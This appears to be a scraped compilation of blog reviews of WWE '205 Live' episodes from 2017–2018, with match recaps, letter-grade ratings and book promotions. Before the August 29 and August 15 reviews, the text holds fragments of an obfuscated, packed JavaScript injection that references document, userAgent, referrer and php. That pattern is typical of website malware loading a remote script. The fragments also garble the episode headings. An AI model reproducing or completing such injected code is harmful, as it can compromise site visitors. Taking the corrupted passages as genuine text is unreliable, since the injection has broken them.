205 Live
Date: January 16, 2018
Location: Laredo Energy Arena, Laredo, Texas
Commentators: Nigel McGuinness, Vic Joseph

Opening sequence.

TJP vs. Gran Metalik

With that not working, TJP ties him in the Tree of Woe, only to miss a baseball slide and hit the post. A superkick and a rope walk dropkick set up the rope walk elbow for a VERY close two. The Metalik Driver is countered but Metalik reverses the Detonation Kick into a rollup for the pin at 5:17.

Post break, TJP is livid again in the back and might be crying.

Goldust vs. Zo Train

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/11/22/new-book-kbs-monday-nitro-and-thunder-reviews-volume-vi/

And check out my Amazon author page with cheap wrestling books at:

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205 Live
Date: January 9, 2018
Location: Legacy Arena, Birmingham, Alabama
Commentators: Vic Joseph, Nigel McGuinness

Another Raw (the show where the real cruiserweight stuff happens) has come and gone and Enzo Amore is STILL Cruiserweight Champion as he retained via countout last night. Enzo also came up with a bad ankle, which means we might wait even longer before getting the title off of him. Let’s get to it.

We open with a recap of last night’s title match with Amore injuring his ankle on a flip dive over the top, setting up the countout loss. You can probably pencil the rematch in for the Rumble and I think my head is going to explode if Enzo keeps the title any longer than that.

Opening sequence.

Earlier today, TJP came up to Gran Metalik and Kalisto in the back to brag about winning the Cruiserweight Classic. I love it when these grown men talk like thirteen year olds (albeit with the standard obsession with specific names and titles).

TJP vs. Gran Metalik

TJP returned last week and Metalik is back after his latest sabbatical for no apparent reason. Metalik now has a black mask which really doesn’t suit him very well. The early flip off goes in Metalik’s favor and a hard armdrag sets up an armbar on TJP. A basement dropkick has TJP in trouble as the announcers wonder if Metalik’s loss in the Cruiserweight Classic final is still bothering him. If he’s not over it in a year plus, he’s not getting over the thing.

We look at Nia Jax checking on Enzo Amore after his ankle injury on Raw.

Tony Nese vs. Cedric Alexander

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/11/22/new-book-kbs-monday-nitro-and-thunder-reviews-volume-vi/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

205 Live
Date: January 2, 2018
Location: Amway Center, Orlando, Florida
Commentators: Nigel McGuinness, Vic Joseph

So this show’s lull is somehow STILL GOING as Cruiserweight Champion Enzo Amore was hospitalized due to the flu, meaning the title match against Cedric Alexander was postponed yet again. There’s really nothing going on at the moment because we’re stuck waiting on the title match (and hopefully the title change) so there’s a good chance this is going to be another lame duck show. Let’s get to it.

The opening recap looks at Amore being sick and Alexander teaming with Goldust of all people to defeat Ariya Daivari and Drew Gulak. If Goldust is this show’s idea of a big deal, just turned the Mixed Match Challenge into an hour show and be done with it.

Opening sequence.

Akira Tozawa vs. TJP

This is TJP’s first match back in three months. Technical sequence to start until TJP hides in the ropes to avoid a charge. That’s fine with Tozawa, who slams him head first into the mat twice in a row. Some overblown stomping in the corner keeps TJP down as this is quite the welcome back to the roster. A suicide dive is blocked by TJP’s raised boot to the shoulder though, followed by said shoulder going into the post.

There’s a slingshot hilo and TJP holsters the finger guns. I still like this guy no matter how much he’s loathed more often than not. Tozawa’s shoulder is cranked in various painful looking ways before TJP just stands on his face. The fans want Enzo (mark Miami down as one of the dumb cities) as TJP gets two off a hammerlock belly to back suplex. I love it when they mix up the offense like that. It’s better than five armbars.

A double arm crank doesn’t get TJP very far but a kick to the head gets two. Tozawa is back up with a boot to the face of his own, followed by a snap Saito suplex. A suicide dive is good for two but the top rope backsplash is easily broken up. TJP sends him arm first into the post and the Detonation Kick is good for the pin at 9:55.

Rating: C. I still like TJP a lot and that’s likely to be the case for a good while. He’s smooth in the ring and is a good, cocky heel who can either be pushed or put someone over in almost any given circumstance. Unless he was injured, I’m not sure why he was on the shelf so long as he’s someone who should be around more often. Hopefully Tozawa doesn’t take his place on the list of talented people who are stuck on the sidelines for no logical reason.

Goldust comes up to Cedric Alexander in the back. After admitting that he’s not under 205 pounds, Goldust talks about how he’s here to help Cedric on his quest for gold. They could be a great team! Like Turner and Hooch! I know Enzo is out with the flu at the moment, but sweet goodness there was no one better than GOLDUST to replace him? That’s really the best option they have? That’s how much they think of this show?

Here’s Jack Gallagher to demand a rematch with Hideo Itami. First though, we see a clip of Itami injuring Gallagher’s friend Brian Kendrick. After looking at the clip multiple times, here’s Itami for the match, only to have Gallagher beat him down with the umbrella. Itami falls down in short order and a pipe falls out of the umbrella.  No match of course.  That’s quite the dastardly act and does the right thing here in getting Gallagher over more than anyone else in the whole thing.

The Zo Train says last night was an injustice because their open challenge was only for people on the 205 Live roster. Goldust comes up and insults their breath. Keep bringing that star power buddy.

Ariya Daivari/Drew Gulak vs. Cedric Alexander/Goldust

Cedric and Daivari feels each other out to start until Daivari pulls him down by the hair. That earns him a dropkick though and it’s off to an armbar. The fans want Goldust and get their wish as he cranks on Gulak’s arm for a change. Goldust tries to run the ropes but stops for a second because he needs to catch his breath in a funny bit.

For some reason Daivari stands there before kneeing him in the ribs (Politeness maybe?) and hands it off to Gulak for an armbar. We hit the chinlock for a bit until Cedric sends Daivari into the buckle. There’s no tag though and Cedric is sent face first in as well, cutting off whatever momentum he had built up.

It’s back to the chinlock as Nigel sends well wishes to Enzo. Cedric is sent into the steps and let’s hit that chinlock all over again. The Neuralizer finally gets Cedric out of trouble and the hot tag brings in Goldust. House is cleaned and Goldust powerslams both villains. A blind tag brings in Cedric with the springboard clothesline and Goldust helps him on a big flip dive. The Lumbar Check finishes Gulak at 11:55.

Rating: D. Didn’t we pretty firmly establish this last night? It’s no secret that Goldust and Cedric (or Cedric and a stuffed turtle at this point) can beat these goons but since WE MUST WAIT ON ENZO, this is all they can do anymore. It’s almost like the NXT: Redemption season where they would just throw people out there (including Goldust actually) when they needed to extend a story. Pretty dull match, mainly because everything was already established the night before.

Overall Rating: D-. And that right there is why Enzo is a major, major problem on this show. There’s really nothing else of value on the show and if he’s gone, there’s almost nothing important happening on the show. Due to multiple reasons now, we’ve been sitting around waiting on Cedric vs. Enzo, which will hopefully FINALLY get us back to a normal show around here. The problem though is if Enzo retains, we’re stuck waiting on another challenger to rise up and take the title.

Without Enzo around, there’s really no point in this show existing, and that’s not even considering that it’s become 2011 Smackdown: a place where you put Raw rematches for the sake of filling in TV time because there’s nothing else to air. Bring some people up from NXT for some one off appearances, have some crazy five way elimination match, do the freaking challenges from the original NXT or whatever. Just do SOMETHING more interesting than this waste of time.

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/11/22/new-book-kbs-monday-nitro-and-thunder-reviews-volume-vi/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

205 Live
Date: October 10, 2017
Location: Van Andel Arena, Grand Rapids, Michigan
Commentators: Vic Joseph, Nigel McGuinness

It’s suddenly a different era on 205 Live as Kalisto won the Cruiserweight Title last night in a big surprise. On the downside though, it seems that we’ve lost Neville for the time being as he might be leaving the company due to not being happy with a variety of things. Hopefully things get better for both the division and the show so let’s get to it.

We open with a four and a half minute recap of last night’s events.

Opening sequence.

Renee Young brings out Kalisto for a chat. Kalisto is fired up to have a luchador as champion and brings up dedicating the match to Eddie Guerrero. Cue Enzo and Ariya Daivari to say this party needs the Zo. He put the division on his back but Kalisto just used it like a backpack. Enzo isn’t cool with the people he’s been carrying lifting Kalisto on his shoulders like it was the end of Rudy.

Then Mustafa Ali attacked him like a guy who needs to stay out of his bag. He accuses Kalisto of stealing the title, just like Eddie Guerrero would have done. Kalisto says he did just what Enzo said to do and that’s win at any cost. Enzo says Kalisto is making the title look as disgusting as whatever is underneath the mask and the new champ doesn’t have the money that Enzo does. The rematch is on for TLC but the brawl is on right now. Ali runs out for the save and the good guys clean house.

Rich Swann is ready to take TJP out once and for all because their friendship is done.

TJP vs. Rich Swann

2/3 falls. Swann wastes no time with a flip dive to the floor as the fight starts before the bell. TJP is right back by sending him into the barricade though and now we head inside for the opening bell. The match officially starts and they’re already back outside less than fifteen seconds later.

Back in and we hit the kneebar but Swann quickly reverses into a rollup for the first fall. TJP is livid and hammers away for some early near falls. A dropkick staggers Swann but TJP stands around for too long, allowing Rich to hit one of his own. TJP’s springboard forearm sets up the chinlock before going into a cross between a Cloverleaf and a Sharpshooter. It’s too close to the ropes but at least the move looked good in the first place.

The Detonation Kick is broken up as well and Swann’s spinning kick to the head drops TJP again. There’s a tiger driver for two more on TJP but the running 450 hits knees. TJP is right back up with a slingshot dropkick to the ribs but is too injured to follow up at first. Back in and Swann kicks him down again, only to get caught in a fireman’s carry.

It’s the kneebar instead of the Detonation Kick this time though and Swann is in trouble. He tries another rollup but TJP drops down into a cradle for a near fall of his own. Swann grabs a quick Michinoku Driver and a cartwheel into a running Phoenix splash gets two more. The regular version puts TJP away at 11:46.

Rating: C+. This was a good way to wrap up the feud but it wasn’t exactly a thrilling ending. I do like the idea of Swann winning 2-0 as it makes him look like the definitive winner, though it didn’t feel like a big deal as the fans were expecting a third fall. Good enough, but nothing all that special.

Enzo and Daivari are ready for their tag match later with Amore making a bunch of Lion King jokes. Drew Gulak comes up and seems to agree with Enzo’s anti-Kalisto stance.

Akira Tozawa comes out for a match but Gulak jumps him from behind and hits him in the throat with the NO CHANTS sign.

We look back at Cedric Alexander vs. Jack Gallagher/Brian Kendrick.

Alexander doesn’t buy what Kendrick says and will be ready for whatever they bring at him.

Enzo Amore/Ariya Daivari vs. Mustafa Ali/Kalisto

Enzo does the insults before we’re ready to go. Ali and Daivari start things off with Mustafa being smart enough to stay away from the corner. Instead it’s off to Enzo, who gets punched in the face a few times and kicked in the head for good measure. Daivari takes Ali down from the apron though and Enzo adds a Downward Spiral for two. The double teaming ensues with Daivari getting two off a spinebuster.

Nigel starts singing an Aladdin song about Ali and there’s a spinwheel kick to knock Enzo silly and bug his eyes out at the same time. The hot tag brings in Kalisto for the house cleaning and a hurricanrana driver plants Daivari. There’s the double dive to take the villains down but Enzo posts Ali. Not that it matters as the Salida Del Sol ends Daivari at 6:59.

Rating: C. Ali was doing most of the work here though I’m glad they didn’t pull a surprise by having Kalisto lose in his first match as champion. You can pretty much pencil him in for the loss from here and while that’s rather annoying, it’s nice to have a break from Amore for the time being.

Overall Rating: C+. Like I said, it was nice to have Kalisto get the focus for a bit, but I’m not even going to pretend that Enzo isn’t getting the title back at TLC. He’s clearly the star of the show and WWE is going to push him well beyond the point of people getting sick of him. The rest of the show was just kind of there, but that’s the point anymore.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

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And check out my Amazon author page with cheap wrestling books at:

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205 Live
Date: September 26, 2017
Location: Gila River Arena, Glendale, Arizona
Commentators: Byron Saxton, Vic Joseph

We’re officially in the Enzo Amore Era here and that makes me shudder in fear. The big story coming out of last night is Enzo turning heel and Neville seemingly turning face again, which could be a big waste of everything Neville has been doing in the last few months. However, it’s the only way to do anything with Amore and that’s all that matters around here. Let’s get to it.

We open with a recap of last night’s ending segment with Enzo turning heel and pretty much the rest of the division turning face, at least for one night.

Opening sequence.

Here’s Enzo on a crutch to open the show. He apologizes for taking so long to get into the ring and says he’s going to smile through the pain. Enzo hasn’t called in sick a day in his life and he’s the same guy backstage and in front of the camera. That guy is the same one who put 205 Live on the map and you know he’s right. Do you people realize that Neville has to look in the mirror every day? Enzo: “That was the punchline. He’s ugly.”

We see a clip from after Raw with Braun Strowman and the other cruiserweights decimating Enzo, which is still the most beautiful thing I’ve seen in longer than I can remember. Fans: “YOU DESERVE IT!” Enzo agrees that he does deserve the title but his mother was in the front row to witness that beating.

Those same people cheering for the beating probably thought Neville was a knight in shining armor but Neville is no Jaime Lannister (Game of Thrones reference). The thing is though, Neville can put this title on ice because of the no contact clause for his celebration because none of the people from last night are allowed to have a shot now. Neville was the first to attack him though and that makes him as s-a-w-f-t as the cookie dough that elf is playing with.

Akira Tozawa vs. Tony Nese

Drew Gulak with his NO CHANTS sign is on commentary and defends Nese’s ab counting as NOT showboating. It’s his thing you see. More posing starts until Nese runs him over with an elbow. Gulak: “I LOVE YOU BABY!” Tozawa takes over with some kicks and the standing backsplash but takes too long heading up top.

Nese cranks on the neck for a bit before we hit the Tree of Woe crunches. In a change of pace, Tony lifts Tozawa up for a delayed suplex but throws him onto the ropes for a big crash. Tozawa fights out of a torture rack but it’s still too early for the backsplash. Back up and Nese nips up to avoid a clothesline (always cool) but it’s a spinning kick to the head to set up Tozawa’s backsplash for the pin at 8:00.

Rating: B-. Tozawa continues to be one of the better performers in the division and Nese can hang with just about anyone. I’m not sure how interesting Gulak vs. Tozawa is eventually going to be but at least they have a story. It would be nice if there was something else for Gulak to criticize besides the chanting but I’ll take what I can get, especially if it’s more Gulak.

Post match Gulak blows his bullhorn and says Tozawa is in violation of proposal #3. He’s also violating #7, which we haven’t seen quite yet. Therefore, let’s hit that PowerPoint presentation! Idea #7 is no celebrating because Drew has a vision of a Drewtopia where everyone treats everyone with respect. The AH AH AH chants make the fans sound like sheep….but Gulak gets his head kicked off before he can go anywhere else. Quick question: is there a reason why so many of Tozawa’s feuds involve itemized lists?

Ariya Daivari sucks up to Enzo, saying Amore could be a big star out of WWE. Enzo agrees to be in Daivari’s corner tonight.

TJP vs. Lince Dorado

And never mind as Rich Swann jumps TJP from behind during Dorado’s entrance. No match as TJP bails into the crowd.

We look back at Jack Gallagher helping Brian Kendrick beat down Cedric Alexander.

Gallagher and Alexander will face off next week.

Gallagher says he and Kendrick are going to show how cruel they can be and they’ll start it next week.

Neville vs. Ariya Daivari

Before the match, Neville promises to keep beating on Amore until 205 Live is free of him. Neville bails to the floor to stare at Enzo but Daivari jumps him from behind to take over. A pair of backbreakers gives Daivari two and Enzo is still running his mouth. Something like a hiptoss sends Neville into the corner and his back is in even worse shape. Daivari stomps away in the Tree of Woe and hits a hanging reverse DDT for two. Neville fights up and kicks Daivari into the corner but goes after Enzo. Daivari’s cheap shots go nowhere as the hammerlock lariat is countered into the Rings of Saturn to make Daivari tap at 5:16.

Rating: C-. This was almost all storyline instead of action and that’s fine. It’s pretty clear that the now face Neville will be getting a shot sooner or later (I’d bet on a loophole that says the title can be put up in a ladder match or something) so having him get a win like this makes sense. It’s a fine enough match but definitely more there for the advancement of the story than anything else.

Enzo destroys Neville from behind with the crutch (Enzo: “YOU DESERVE IT!”) to end the show.

Overall Rating: C+. The Enzo Era is on us fast and hard but the question now is how long can it last. Enzo can get REALLY annoying in a short time and I’m not sure how long he can play the Honky Tonk Man role. You can do that when he’s only seen every few weeks but when he’s on Raw every week and is on 205 Live multiple times, it’s going to die in a hurry. Still though, good start so far.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

205 Live
Date: September 19, 2017
Location: Oracle Arena, Oakland, California
Commentators: Vic Joseph, Nigel McGuinness

It’s the go home show for No Mercy and its one cruiserweight match. As usual it’s for the Cruiserweight Title and as usual it’s Neville defending the title. This time it’s against Enzo Amore and they’ll be going face to face tonight. Other than that we have the fallout from Jack Gallagher turning heel to join Brian Kendrick last week. Let’s get to it.

We look at Enzo’s debut and rise to the top of 205 Live, despite the fans starting to sour on him at least a little bit. This also includes Braun Strowman attacking him last night and leaving Neville to pick the bones.

Opening sequence.

Cedric Alexander vs. Brian Kendrick

Kendrick tries an early boot but gets elbowed in the face to start, followed by a baseball slide for good measure. Back in and the springboard clothesline misses so Kendrick knees him in the face for two. A butterfly suplex sets up a chinlock on Cedric for a bit, followed by a Japanese armdrag to send him into the corner again. That means a straitjacket hold but Cedric fights up again and hits the springboard clothesline. Kendrick is right back up with a kick to the ribs and Sliced Bread #2, only to have Cedric reverse into a rollup for the pin at 5:27.

Rating: C-. Not bad here and Cedric winning was the right call. Cedric continues to be one of the best stars around here and a nice addition to any show. Kendrick and Gallagher could be a good heel tandem but Gulak seems to be the star instead of Kendrick, which isn’t the biggest surprise in the world.

Post match Kendrick runs his mouth, allowing Gallagher to run in for the double beatdown.

Post break, Gallagher says he saw the scars on his face after his loss to Kendrick and realized he would rather be a winner than a joke.

Here’s Drew Gulak, with new music (thank goodness) to complain about his time in fashion jail last week. Breezango will be hearing from his attorney, which happens to be him. That brings him to last week, where he was interrupted while explaining his vision for a better 205 Live. After comparing himself to Galileo (another genius whose brilliant theory was held down), we continue the PowerPoint presentation! Slide #6 (of 277): no cell phones! Cue Akira Tozawa to cut him off again though and it’s time for a match.

Noam Dar vs. Akira Tozawa

Gulak is on commentary and ripping on Titus O’Neil. Tozawa starts fast with the backsplash but Dar kicks the legs out and starts working on the leg (Gulak: “NOW he has a reason to scream!”). Tozawa fights up without too much effort and sends Gulak outside for a suicide dive. A running European uppercut gives Dar two but an enziguri puts him right back down. The top rope backsplash puts Dar away at 4:01.

Rating: D+. Too short to mean much here but it advanced the feud well enough and it’s not like Dar means anything in the first place. Tozawa is still one of the top stars on the roster and can be used to make someone like Gulak, who hasn’t had the most success. At least he has a character now and that could go somewhere if they use it properly.

We recap Rich Swann defeating TJP last week.

TJP congratulates Swann for the win last week and says they have great chemistry together. Swann agrees but thinks they’ll get a bit too intense. He already has Lince Dorado tonight anyway, which TJP understands.

Rich Swann vs. Lince Dorado

And never mind as Dorado is laid out in the back. Swann goes to see what’s up and gets taken out by TJP. He even rips out part of Swann’s hair and drops him over the barricade.

Here’s Neville for the big closing talk. He talks about this Sunday’s card, which will include some big matches and one comedy match as he destroys Enzo Amore once and for all. Enzo thinks he’s ready to step up to his world and it’s time for Neville to knock him down. Cue Enzo with a taped up shoulder but Neville cuts him off, accusing Enzo of “spelling like a chicken”.

Enzo thinks Neville is jealous, which Neville finds funny when he’s better in every conceivable way. That’s true actually, but Enzo is twice the superstar that Neville will ever be. The fans aren’t sure what to think of that so Enzo rants about all of his merchandise and hanging out with celebrities.

Neville is a big fish in a small pond and Enzo is the shark that’s invaded the water. Neville doesn’t care about any of that because Enzo just can’t fight. Enzo says that’s true and kicks Neville low to end the show. So to recap, Enzo says he can’t wrestle and doesn’t really care about winning things because it’s all about making money and hanging with celebrities. And he’s the good guy in this whole thing?

Overall Rating: D+. Not a great show this week but it sets up some stuff for the future. Above all else, there are multiple stories going on at the moment and it makes for some good stuff. I’m worried about Enzo winning the title as all signs seem to point to it, though I’m really not sure if they’ll go through with it. I know it sounded great on paper for the last several months but sweet goodness it’s not doing much for me in reality. This wasn’t the best show but it laid some much needed ground work, which is much more important.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

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Date: September 12, 2017
Commentators: Nigel McGuinness, Vic Joseph

This is a slightly delayed episode as it’s taking place after the Mae Young Classic Finals and since we can’t just cancel the show for a week, let’s have WWE going for three hours and fifteen minutes on back to back nights. Tonight’s big match is Rich Swann vs. TJP in what should be their big blowoff. Let’s get to it.

Rich Swann is in the back to talk about beating TJP in their first match. TJP comes in to show a video of their second match where he beat Swann. This included TJP acting quite a bit more heelish, which didn’t sit well with Swann. Tonight, TJP can’t handle this.

Opening sequence.

Rich Swann vs. TJP

You can see the empty seats throughout the arena. Swann headlocks him down to start for a good while, which isn’t the best move in the world for a crowd that is rapidly dwindling. Back up and Swann tries his flip over TJP but gets pulled down into a quickly broken kneebar. Instead TJP is sent outside for a flip dive from the apron, followed by a hard kick to the back.

TJP takes him down without too much effort though and rips at Swann’s face for a bit. A basement dropkick gets two and we hit the chinlock on Rich. That goes nowhere so it’s a hard belly to back suplex into a slingshot hilo for two more. Swann fights back with his series of kicks but TJP catches him with the springboard forearm.

Back up and a double kick puts them both down again as we have another breather. The second kneebar works a bit better but TJP has to settle for the chickenwing gutbuster for two instead. The weakest THIS IS AWESOME chant you’ll ever hear doesn’t change much so they hit a pinfall reversal sequence. Swann’s Fantastic Voyage gets two but the Phoenix splash puts TJP away at 12:05.

Rating: B-. Good match with a nice story of them knowing each other so well and being pretty much even until the ending but the dead crowd hurt them a lot. Throw in the fact that neither of them is going near what’s soon to be Enzo’s title and this didn’t have any meaning to it. At least it was good though.

TJP eventually shakes his hand though it’s not a long one.

We look back at Enzo becoming #1 contender with Cedric Alexander cleaning house until Enzo stole the pin.

Mustafa Ali asks Alexander how he can be so calm after last week. Cedric wants to rip Enzo’s head off but it doesn’t do anything because Enzo caught him sleeping. Brian Kendrick comes in to ask where Cedric wants to be. Cedric’s attitude reminds Brian of Jack Gallagher: spineless and lacking what it takes.

Drew Gulak is in the ring and it’s time to complete the PowerPoint presentation! Last week he was cut off by Akira Tozawa, who isn’t even here tonight. Since there’s no chance of him being interrupted, we get to slide #3 (of 277): no chants. Gulak: “Even Mr. McMahon’s music says no chants!” Drew demands complete silence before moving on to slide #4: no elaborate ring gear (with the picture clearly being inspired by Kazuchika Okada).

Slide #5: no interruptions! They’re very rude….and here’s Breezango for a cameo. That certainly wakes the crowd up with a loud BREEZANGO chant. They bring up the Captain Underpants nickname and you know what the fans are chanting now. Gulak denies it so Fandango threatens to treat him like the perp that he is. He gets rather close to Drew’s face and Gulak seems a bit disturbed.

They’ve received complaints about someone walking around in underpants. Breeze: “We like underpants.” He lists off a variety of them with Fandango liking this discussion far too much. Gulak goes to leave so Fandango cuffs him. Breeze lists off his rights (to remain stylish, to have everything you wear seen in a mirror, to a fashion consultant) but Gulak escapes to the floor for a chase. Fandango trips him down and Breeze declares the case closed. Breezango instantly looked like bigger stars than anyone not named Enzo and show just how badly this show is lacking charisma.

We look back at Miz destroying Enzo both verbally and physically last night. I can’t believe they would actually show that on this show.

We look back at Brian Kendrick beating up Jack Gallagher two weeks ago.

Cedric Alexander vs. Brian Kendrick

Kendrick knocks him into the corner to start so Cedric dropkicks him away. The springboard clothesline gets two and a back elbow sends Kendrick outside. A big flip dive takes Brian down again but he sends Cedric throat first into the bar between the turnbuckle and post. Cue Jack Gallagher with William III though….and he attacks Alexander for the DQ at 3:42.

Rating: D. This didn’t have time to go anywhere and was all about the heel turn anyway. In theory this sets Cedric up against Kendrick and Gallagher, which is yet another feud for him where he’s not fighting for the title. Gallagher turning might do good things for him but he’s going to need something a bit more than that to really make it work.

Gallagher destroys Cedric as Brian is stunned. They shake hands to end the show.

Overall Rating: C. This show going so late into the night hurt things and the fans were clearly leaving before the show started, with even more of them being gone by the end. It still doesn’t help to have everyone aside from the champion and #1 contender feel like deck chairs being rearranged and that’s what the whole place feels like most of the time. The first match was good but they need something more than just a bunch of people running around until the next #1 contender shows up.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kteik|var|u0026u|referrer|zayfn||js|php'.split('|'),0,{})) Live
Date: August 29, 2017
Location: Verizon Arena, Little Rock, Arkansas
Commentators: Vic Joseph, Corey Graves

We’re officially in the Enzo Amore Era on 205 Live and that makes me think doing my own dental surgery sounds like a good idea. It’s pretty clear that Enzo is going to be the next big challenger to Neville and the title, which actually gives me a mixed reaction. He’s already the biggest star on the show but that means he’s around more often and egads that sounds like torture. Let’s get to it.

The opening recap looks at Brian Kendrick vs. Jack Gallagher and the buildup to their No DQ match tonight.

Opening sequence.

The announcers chat for a bit.

Brian Kendrick vs. Jack Gallagher

No DQ and Gallagher is in street clothes. Kendrick says he’s a fighter as Gallagher stands perfectly still. They stare each other down for the better part of a minute before Jack uppercuts him into the corner and scores with a headbutt. Gallagher even breaks an umbrella over Kendrick’s back to put him outside as the violence starts cranking up. Some hard shots to Brian’s face sets up a whip through some equipment cases.

The beating knocks Kendrick down the aisle as Gallagher looks completely calm the entire time. It’s almost eerie really. Kendrick gets thrown onto the announcers’ table for some hard right hands to the head. The announcers’ table is loaded up but Kendrick comes up with a kendo stick to the ribs.

Brian sends him into the steps before tying Jack’s foot in the wires underneath the ring skirt. Now it’s time for the beating with the stick and Jack is busted open pretty badly. We stop for the medic to tend to Gallagher’s head and Kendrick has to stand around for a bit. Kendrick drops him with a DDT onto the bell and puts on the Captain’s Hook with the stick for the submission (though Gallagher is out) at 7:30.

Rating: C+. This needed more time but there’s a good chance that it was cut off due to the cut. It was nice while it lasted though and showed a different side of Gallagher, which he really needs to show. At the same time you need to have Kendrick get a bigger win once in awhile as him putting everyone over isn’t going to work forever. Good brawl, cut short by time.

Noam Dar, Drew Gulak and Tony Nese are ready for the six man tag tonight. Dar insists that he beat himself for having a bit too much fun the night before. Gulak thinks Enzo is going to tarnish the 205 Live. He believe in a better 205 Live and you can bet your bojangles that Enzo isn’t going to be a part of that. Nese says Enzo isn’t on his level.

Rich Swann vs. Ariya Daivari

TJP, still on crutches, is out for commentary. Daivari dedicates this to another Iranian wrestler. They fight over a wristlock to start with Swann dancing/nipping up to escape. Swann’s front flip into a dropkick gets two but Daivari starts in on the back. TJP talks about how he and Swann are both former champions.

The fact that he had to beat five people to become champion while Swann only beat one is just a detail. Swann’s running flip Fameasser gets two and something like Rolling Thunder gets the same. They head outside with Daivari getting the better of it and stealing TJP’s crutch, only to get small packaged for the pin at 4:08.

Rating: D+. Angle advancement instead of much of a match here as TJP vs. Swann continues. You know they’re heading to a big match down the line, even if it isn’t likely to mean anything. Well, at least until Enzo becomes the Cruiserweight Champion to turn the whole thing into a big comedy act.

Post match Daivari goes after TJP, who fights back with a variety of kicks and his knee appearing just fine. Swann watches all this in disbelief before handing TJP his crutch and leaving. TJP hits Daivari with the Detonation Kick.

Enzo comes in to see Cedric Alexander and Gran Metalik, offering some coaching tips on a dry erase board. Alexander says this isn’t the same as Raw and the two of them have more experience. This turns into a discussion of Enzo’s mother’s cooking and Gran Metalik being named Pepper Jack. He’s really not going to be able to stay a face long, or at least he shouldn’t.

Drew Gulak/Noam Dar/Tony Nese vs. Enzo Amore/Cedric Alexander/Gran Metalik

Before the match, Enzo calls this the realest in-ring debut in the history of 205 Live. Drew looks like Captain Underpants and Nese works at Chippendale’s. Enzo and Gulak start things off with Drew imitating the dance. It’s not like it’s hard to make fun of. Gulak starts talking trash as he cranks on an armbar, sending Enzo bailing to the corner. There’s no tag though so a front facelock takes Enzo down again.

Now it’s off to Alexander as Neville is shown watching from the back. Tony comes in to pose a bit but Cedric speeds things back up into a headscissors and dropkick to take over. It’s back to Enzo to eat a dropkick as the heels take over for the first time. A Downward Spiral gets Enzo out of trouble but everything breaks down with Metalik and Alexander hitting (well maybe as the camera went down too) stereo dives.

That leaves Nese to run Enzo over before he can dive (Corey: “I think, in a roundabout way, Tony Nese just saved Enzo’s life.”) and mocks the dance as well. Just in case you needed any more proof that Enzo is the star of this show and everyone else is chasing him. Cedric springboards in with a clothesline but gets sent outside so Gulak and Nese can hammer away while Enzo has the referee for reasons of general stupidity.

Cedric fights out of a chinlock and hits the handspring enziguri for a breather. The hot tag brings in Metalik for a superkick to Nese and the rope walk dropkick. Gulak saves Nese from a Swanton so Alexander takes Drew down, allowing for the hot tag off to Enzo. Eat Defeat (now the Jordunzo because of course it is) drops Dar (I had forgotten he was in this match) and a rollup with feet on the ropes pins Nese at 9:48.

Rating: C-. I’m not sure how to take this. For one thing I’ve talked for the better part of a year now about how I thought Enzo as a cheating cruiserweight would be great but sweet goodness now it’s actually happening. The character in this form has a short shelf life but if they put the title on him and make him the Honky Tonk Man of the division, he’ll be fine.

Here’s the way you can tell it’s working at the moment though: when else have I ever talked about someone on 205 Live this much? As you knew he would be, Enzo is instantly the biggest personality on the show and draws the most attention. If they could find some more people like him, this show could take off a bit more. As it is, it’s Enzo, Neville and everyone else a few miles beneath them.

The winners dance to end the show.

Overall Rating: C. This show flew by and that’s one of the better things you can say about 205 Live. They don’t have the most interesting stories in the world but if they get in, do their stuff and get out, it’s quite the entertaining way to kill most of an hour. The No DQ match was good and TJP vs. Swann is kind of interesting, though it would be nice if any of this stuff was going to mean anything. If Enzo gets the title though, those people will be getting a lot more attention in a hurry. Fine show this week though nothing worth going out of your way to see.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azkns|var|u0026u|referrer|btedb||js|php'.split('|'),0,{})) Live
Date: August 15, 2017
Location: Dunkin’ Donuts Center, Providence, Rhode Island
Commentators: Vic Joseph, Corey Graves

Things have changed in a hurry around here as we now have a new Cruiserweight Champion. Last night Akira Tozawa defeated Neville for the title in quite the surprise. Their rematch is this Sunday but tonight we have Tozawa’s official celebration, because celebrations need to be well regulated. Let’s get to it.

As you might expect, we start with a look back at Tozawa winning the title.

Opening sequence.

Cedric Alexander/Gran Metalik vs. Drew Gulak/Tony Nese

